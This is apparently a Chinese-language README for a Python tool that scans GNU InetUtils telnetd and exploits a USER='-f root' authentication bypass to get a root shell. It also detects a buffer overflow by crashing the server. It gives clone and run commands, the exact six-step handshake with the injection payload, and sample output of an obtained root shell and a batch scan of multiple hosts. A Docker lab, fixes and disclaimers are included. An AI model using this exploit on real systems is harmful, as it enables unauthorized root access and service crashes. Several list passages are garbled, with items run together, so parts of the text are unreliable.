一款基于 Python 的安全评估工具,用于检测并(在适用时)利用 GNU InetUtils telnetd 中的两个严重漏洞:
USER 环境变量注入绕过认证(CVSS 9.8)本工具仅用于授权安全测试和教育目的。
未经授权对您不拥有或未经明确许可测试的系统使用本工具是违法的。作者对因滥用或使用本工具造成的损害不承担任何责任。使用风险自负。

TELNET_SCAN_VERBOSE=1 可查看每个 IAC 数据包和逐步的漏洞利用过程说明git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
在已知的易受攻击目标上测试漏洞利用,不会对真实系统造成风险:
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323
该实验环境在一个隔离的容器中运行存在漏洞的 GNU InetUtils 2.5 telnetd,仅绑定到 localhost,不暴露任何网络。
调试 telnet 握手过程,准确查看线路上的通信内容:
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
详细输出显示:

1192.168.1.100 或 example.com)23)1 – 两种漏洞2 – 仅 CVE-2026-24061(认证绕过)3 – 仅 CVE-2026-32746(缓冲区溢出)targets.txt:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# This is a comment line - ignored
223)如果 CVE-2026-24061 利用成功:
id、whoami、ls)Ctrl+C 退出 shell 并返回扫描器菜单无需单独的终端或额外步骤。
该漏洞利用遵循精确的 6 步 telnet 握手流程,以确保与真实的 GNU InetUtils telnetd 兼容:
DO 选项TTYPE、TSPEED、XDISPLOC、NEW_ENVIRONNEW_ENVIRON 子协商设置 USER="-f root"SGA、ECHO、LINEMODE、NAWS 对应的 DO/WILL# 、root@ 或 $ 提示符一个保持活动(keepalive)线程每 2 秒发送一次 IAC NOP,以防止 telnetd 的 ttloop() 在负载被处理之前检测到 EOF 并调用 exit(1)。
存在漏洞的 telnetd 会将 -f root 传递给 /usr/bin/login,从而绕过认证并立即授予 root shell 访问权限。
LINEMODE 选项(RFC 1184)=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 1
Port (default 23):
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100
[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...
[*] Checking if service is reachable...
[+] Service reachable
[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[STEP 1/6] Waiting for server negotiation (may take up to 15s)...
[STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
decoded: IAC DO TERMINAL-TYPE
decoded: IAC DO TERMINAL-SPEED
decoded: IAC DO X-DISPLAY-LOCATION
decoded: IAC DO NEW-ENVIRON
[STEP 2/6] Responding WILL to all DO options
[STEP 3/6] Waiting for SB SEND subnegotiation requests...
[STEP 4/6] Sending subnegotiation responses...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[STEP 5/6] Handling remaining option negotiations...
[STEP 5/6] Text received: 'root@vuln-lab:~# '
[RESULT] SUCCESS: Passwordless root login via USER="-f root" injection
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 2
Port (default 23):
Enter filename with targets (one per line): targets.txt
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
[*] Loaded 3 targets from targets.txt
==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable
[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
[?] Shell obtained! Interact now? (y/N): n
[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable
==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23
==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable
[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable
[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)
============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================
如果您发现存在漏洞的系统,请应用以下修复措施:
NEW_ENVIRON USER 值以 -f 开头的连接随附的 lab/ 目录提供了一个安全、可复现的测试环境:
cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Port: 2323
实验环境特性:
labuser:labpass123)用于调试使用完毕后停止实验环境:
cd lab && docker compose down

特别感谢 @leetcrypt – 规范的 6 步握手、keepalive 线程、详细模式和 Docker 实验环境都非常棒!
免责声明:仅用于授权安全测试和教育目的。